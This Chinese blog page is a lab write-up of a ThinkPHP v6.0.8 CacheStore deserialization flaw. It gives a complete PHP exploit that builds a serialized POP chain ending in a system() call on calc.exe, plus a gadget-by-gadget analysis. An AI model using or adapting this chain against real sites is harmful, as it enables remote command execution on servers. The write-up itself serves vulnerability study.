当前位置: 首页 > news >正文

ThinkPHP v6.0.8 CacheStore 反序列化漏洞

漏洞说明

1. 漏洞原理:ThinkPHP 6.0.8 CacheStore 会触发POP利用链子,造成任意命令执行

2. 组件描述: ThinkPHP是一个免费开源的,快速、简单的面向对象的轻量级PHP开发框架

3. 影响版本:V6.0.8

漏洞复现

1. 环境安装:ThinkPHP6.0正式完整版下载_其他_技术博文_js代码

下载v6.0.8,使用命令php think run即环境起来了

访问127.0.0.1:8000

需要在源代码中加入一个入口

if(isset($_POST['data'])) {@unserialize($_POST['data']);
}
highlight_string(file_get_contents(__FILE__));

利用exp生成payload并打入data入口

<?phpnamespace League\Flysystem\Cached\Storage {abstract class AbstractCache{protected $autosave;public function __construct(){$this->autosave = false;}}
}namespace think\filesystem {use League\Flysystem\Cached\Storage\AbstractCache;use think\cache\driver\File;class CacheStore extends AbstractCache{protected $store;protected $expire;protected $key;public function __construct(){$this->store = new File();$this->expire = 1;$this->key = '1';}}echo urlencode(serialize(new CacheStore()));
}namespace think\cache {use think\model\Pivot;abstract class Driver{protected $options = ['expire' => 0,'cache_subdir' => true,'prefix' => '','path' => '','hash_type' => 'md5','data_compress' => false,'tag_prefix' => 'tag:','serialize' => ['system'],];public function __construct(){$this->options = ['expire' => 0,'cache_subdir' => true,'prefix' => '','path' => new Pivot(),'hash_type' => 'md5','data_compress' => false,'tag_prefix' => 'tag:','serialize' => ['system'],];}}
}namespace think\cache\driver {use think\cache\Driver;class File extends Driver{}
}namespace think {use think\model\concern\Attribute;abstract class Model{private $data = [];private $withAttr = [];public function __construct(){$this->data = ['errorr0' => 'calc.exe'];$this->visible = ["errorr0" => 1];$this->withAttr = ['errorr0' => 'system'];}}
}namespace think\model\concern {trait Attribute{}
}namespace think\model {use think\Model;class Pivot extends Model{}
}

漏洞分析

全局搜索找到CacheStore所在位置src/think/filesystem/CacheStore.php

找到它的父类AbstractCache,查看发现有__destruct()

步入save查看

跟进查看getForStorage()

没有发现可利用点,步出看save后面的

$this->store->set($this->key, $contents, $this->expire);

这里$this->store是可控的,所以可以调用任意含义set()函数的对象,这里调用src/think/cache/driver/File.php::set

跟进getExpireTime(),查看如下

没有可利用点,步出继续往下步入getCacheKey()查看

前面使用了hash()函数,第一个为hash类型的设置,如果为空或者设置有误则会报错,我们需要保证上面不截断的前提下执行下面return的步骤,return中$this->options['path']与$name进行了拼接,而$this->options['path']是可控的,如果实例化一个有__toString()魔术方法的对象,保证$name不报错,则可以搭成一个链,经过查找发现vendor\topthink\think-orm\src\model\concern\Conversion有__toString可以利用

步入toArray()查看情况

这里看到如果满足条件判断则可以执行getAttr(),步入查看

不出错就应该进入getData()

没什么特别的直接,看外层的getValue()

这里可以构造一个自定义函数以及利用data传参达到任意命令执行,而有个问题就是触发了漏洞怎么将他们链接起来?并且还有一个问题就是恶意payload如何传入,这里经过审计发现需要传入的恶意$data参数是vendor\topthink\think-orm\src\model\concern\Attribute中,而在vendor\topthink\think-orm\src\Model可控制$data,并且

Model复用了Conversion的内容,这样也可以触发__toString,最后构造就按照分析的将几个类复用再给几个类中特殊需要赋值即可,还有一个小问题就是如上图,Model是抽象类,因此我们需要自己手写一个子类继承即可。

Referer

tp6.0.8反序列化漏洞分析 - 网安

thinkphp6.0x反序列化复现及再挖掘-安全客 - 安全资讯平台

相关文章:

ThinkPHP v6.0.8 CacheStore 反序列化漏洞

漏洞说明 1. 漏洞原理&#xff1a;ThinkPHP 6.0.8 CacheStore 会触发POP利用链子&#xff0c;造成任意命令执行 2. 组件描述&#xff1a; ThinkPHP是一个免费开源的&#xff0c;快速、简单的面向对象的轻量级PHP开发框架 3. 影响版本&#xff1a;V6.0.8 漏洞复现 1. 环境安…...

Spring 事务详解(注解方式)

目 录 序言 1、编程式事务 2、配置声明式事务 2.1 基于TransactionProxyFactoryBean的方式&#xff08;不常用&#xff0c;因为要为每一个类配置TransactionProxyFactoryBean&#xff09; 2.2 基于AspectJ的XML方式&#xff08;常用&#xff0c;可配置在某些类下的所有子…...

华为云waf 使用场景

防护Web应用免受攻击就用华为云Web应用防火墙 Web应用防火墙&#xff08;Web Application Firewall&#xff0c; WAF&#xff09;&#xff0c;通过对HTTP(S)请求进行检测&#xff0c;识别并阻断SQL注入、跨站脚本攻击、网页木马上传、命令/代码注入、文件包含、敏感文件访问、第…...

?.的写法 后缀修饰符

概览&#xff1a;处理后端返回的数据data&#xff0c;写法&#xff1a;data?.name。解决vue框架编译出现的报错Cannot read property name of undefined。出现问题的原因&#xff1a;这是因为我们试图访问对象中不在的 key 为 name 的属性&#xff0c;那么怎么解决呢&#xff…...

org.apache.hadoop.hive.ql.exec.DDLTask. show Locks LockManager not specified解决

Error while processing statement: FAILED: Execution Error, return code 1 from org.apache.hadoop.hive.ql.exec.DDLTask. show Locks LockManager not specified解决 当在Hive中执行show locks语句时&#xff0c;出现"LockManager not specified"错误通常是由于…...

Adaptive autosar 都有哪些模块?各有什么功能?

Adaptive autosar是一种用于高性能计算ECU的软件平台,它支持自适应应用程序的开发和运行。它由两部分组成:基础(Foundation)和服务(Service)。基础包括了操作系统接口、执行管理、网络管理、识别访问管理、加密、更新和配置管理等功能。服务包括了通信管理、RESTful、时间…...

C++ 动态内存分配

在C中动态内存的分配技术可以保证程序在允许过程中按照实际需要申请适量的内存&#xff0c;使用结束后还可以释放&#xff0c;这种在程序运行过程中申请和释放的存储单元也称为堆。 申请和释放过程一般称为建立和删除。 在C程序中&#xff0c;建立和删除堆对象使用两个运算符&…...

设计模式——面向对象的7大设计原则

1.单一职责原则 一个类中最好只放一种类型的方法&#xff0c;比如Dao中只有和数据库交互相关的代码。实现高内聚&#xff0c;低耦合。 2.开闭原则 对外拓展开放&#xff0c;对内修改关闭&#xff0c;有新的需求时不要修改已有代码&#xff0c;而是添加新的代码&#xff0c;比…...

智慧防汛,数字科技的力量

随着夏日的脚步临近&#xff0c;台风季节即将降临。对于那些居住在沿海地区的人们来说&#xff0c;台风是一种常见的自然灾害&#xff0c;其带来的风雨可能对生命和财产造成严重威胁。然而&#xff0c;随着数字科技的飞速发展&#xff0c;可视化技术为防汛抗台工作带来了全新的…...

“中国软件杯”飞桨赛道晋级决赛现场名单公布

“中国软件杯”大学生软件设计大赛是由国家工业和信息化部、教育部、江苏省人民政府共同主办&#xff0c;是全国软件行业规格最高、最具影响力的国家级一类赛事&#xff0c;为《全国普通高校竞赛排行榜》榜单内赛事。今年&#xff0c;组委会联合百度飞桨共同设立了“智能系统设…...

JDBC处理批量数据提高效率

文章目录 0 说明1 如何使用jdbc操作数据库1.1 加载数据库驱动1.2 建立数据库连接1.3 创建Statement或者PreparedStatement用来执行SQL1.4 开始执行SQL语句1.5 处理结果集1.6 关闭连接1.7 完整代码 2 批量操作数据库3 如何打印SQL语句4 jdbc常用开源类库 1 JDBC实现往MySQL插入百…...

使用css和js给按钮添加微交互的几种方式

使用css和js给按钮添加微交互的几种方式 在现实世界中&#xff0c;当我们轻弹或按下某些东西时&#xff0c;它们会发出咔嗒声&#xff0c;例如电灯开关。有些东西会亮起或发出蜂鸣声&#xff0c;这些响应都是“微交互”&#xff0c;让我们知道我们何时成功完成了某件事。在本文…...

react面试之context的value变化时,内部所有子组件是否变化

上测试代码 // context const state {a: 1,b: 1, } const context createContext(state);export default context; // A组件 const A () > {const { a } useContext(context);return (<div>{a}</div>) } export default A;// B组件 const B () > {cons…...

使用okHttp不走代理问题

背景 某日使用okhttp设置代理并发送爬虫请求时&#xff0c;发现部分url请求没有走代理直接和目标url建立了连接&#xff0c;伪代码如下。初始化okhttpClient时设置了proxySelecter代理&#xff0c;但是调用okhttpClient.newCall请求时并没用调用proxySelecter.select函数获取代…...

python moviepy 自动化音视频处理实践

MoviePy是一个用于视频编辑的Python库。它提供了一种简单且直观的方式来处理视频文件&#xff0c;包括剪辑、合并、裁剪、添加文本、添加音频等操作。使用MoviePy&#xff0c;你可以通过编写Python代码来创建和编辑视频&#xff0c;而无需使用复杂的视频编辑软件。 MoviePy建立…...

聊聊混合动力汽车和纯电骑车的优势和劣势

混合动力汽车和纯电动骑车是两种不同的交通工具&#xff0c;它们都有各自的优势和劣势。本文将分别探讨混合动力汽车和纯电动骑车的优势和劣势&#xff0c;并为文章提供三个备选的好听的标题。 混合动力汽车是一种结合了内燃机和电动机的汽车&#xff0c;它可以同时利用燃油和电…...

算法训练Day39|62.不同路径 ● 63. 不同路径 II

LeetCode:62.不同路径 62. 不同路径 - 力扣&#xff08;LeetCode&#xff09; 1.思路 想象成矩阵填格子&#xff0c;两个关键点&#xff0c;初始化和递推公式。 初始化除点&#xff08;0&#xff0c;0&#xff09;第一行第一列均为1&#xff0c;递推公式推导dp[i][j] dp[i …...

react中hooks分享

一. HOOKS是什么 在计算机程序设计中&#xff0c;钩子一词涵盖了一系列技术&#xff0c;这些技术用来通过拦截函数调用、消息或在软件组件之间传递的事件来改变或增加操作系统、应用程序或其他软件组件的行为。处理这些被截获的函数调用、事件或消息的代码称为“hook”。 在r…...

LeetCode1207. 独一无二的出现次数

题干 给你一个整数数组 arr&#xff0c;请你帮忙统计数组中每个数的出现次数。 如果每个数的出现次数都是独一无二的&#xff0c;就返回 true&#xff1b;否则返回 false。 示例1&#xff1a; 输入&#xff1a;arr [1,2,2,1,1,3] 输出&#xff1a;true 解释&#xff1a;在该…...

【maven】构建项目前clean和不clean的区别

其实很简单&#xff0c;但是百度搜了一下&#xff0c;还是没人能简单说明白。 搬用之前做C项目时总结结论&#xff1a; 所以自己在IDE里一遍遍测试程序能否跑通的时候&#xff0c;不需要clean&#xff0c;因为反正还要改嘛。 但是这个项目测试好了&#xff0c;你要打成jar包给…...

JavaSec-RCE

简介 RCE(Remote Code Execution)&#xff0c;可以分为:命令注入(Command Injection)、代码注入(Code Injection) 代码注入 1.漏洞场景&#xff1a;Groovy代码注入 Groovy是一种基于JVM的动态语言&#xff0c;语法简洁&#xff0c;支持闭包、动态类型和Java互操作性&#xff0c…...

相机Camera日志实例分析之二:相机Camx【专业模式开启直方图拍照】单帧流程日志详解

【关注我&#xff0c;后续持续新增专题博文&#xff0c;谢谢&#xff01;&#xff01;&#xff01;】 上一篇我们讲了&#xff1a; 这一篇我们开始讲&#xff1a; 目录 一、场景操作步骤 二、日志基础关键字分级如下 三、场景日志如下&#xff1a; 一、场景操作步骤 操作步…...

HTML 列表、表格、表单

1 列表标签 作用&#xff1a;布局内容排列整齐的区域 列表分类&#xff1a;无序列表、有序列表、定义列表。 例如&#xff1a; 1.1 无序列表 标签&#xff1a;ul 嵌套 li&#xff0c;ul是无序列表&#xff0c;li是列表条目。 注意事项&#xff1a; ul 标签里面只能包裹 li…...

【CSS position 属性】static、relative、fixed、absolute 、sticky详细介绍,多层嵌套定位示例

文章目录 ★ position 的五种类型及基本用法 ★ 一、position 属性概述 二、position 的五种类型详解(初学者版) 1. static(默认值) 2. relative(相对定位) 3. absolute(绝对定位) 4. fixed(固定定位) 5. sticky(粘性定位) 三、定位元素的层级关系(z-i…...

macOS多出来了:Google云端硬盘、YouTube、表格、幻灯片、Gmail、Google文档等应用

文章目录 问题现象问题原因解决办法 问题现象 macOS启动台&#xff08;Launchpad&#xff09;多出来了&#xff1a;Google云端硬盘、YouTube、表格、幻灯片、Gmail、Google文档等应用。 问题原因 很明显&#xff0c;都是Google家的办公全家桶。这些应用并不是通过独立安装的…...

第一篇:Agent2Agent (A2A) 协议——协作式人工智能的黎明

AI 领域的快速发展正在催生一个新时代&#xff0c;智能代理&#xff08;agents&#xff09;不再是孤立的个体&#xff0c;而是能够像一个数字团队一样协作。然而&#xff0c;当前 AI 生态系统的碎片化阻碍了这一愿景的实现&#xff0c;导致了“AI 巴别塔问题”——不同代理之间…...

PL0语法,分析器实现!

简介 PL/0 是一种简单的编程语言,通常用于教学编译原理。它的语法结构清晰,功能包括常量定义、变量声明、过程(子程序)定义以及基本的控制结构(如条件语句和循环语句)。 PL/0 语法规范 PL/0 是一种教学用的小型编程语言,由 Niklaus Wirth 设计,用于展示编译原理的核…...

leetcodeSQL解题:3564. 季节性销售分析

leetcodeSQL解题&#xff1a;3564. 季节性销售分析 题目&#xff1a; 表&#xff1a;sales ---------------------- | Column Name | Type | ---------------------- | sale_id | int | | product_id | int | | sale_date | date | | quantity | int | | price | decimal | -…...

Axios请求超时重发机制

Axios 超时重新请求实现方案 在 Axios 中实现超时重新请求可以通过以下几种方式&#xff1a; 1. 使用拦截器实现自动重试 import axios from axios;// 创建axios实例 const instance axios.create();// 设置超时时间 instance.defaults.timeout 5000;// 最大重试次数 cons…...

HTML前端开发:JavaScript 常用事件详解

作为前端开发的核心&#xff0c;JavaScript 事件是用户与网页交互的基础。以下是常见事件的详细说明和用法示例&#xff1a; 1. onclick - 点击事件 当元素被单击时触发&#xff08;左键点击&#xff09; button.onclick function() {alert("按钮被点击了&#xff01;&…...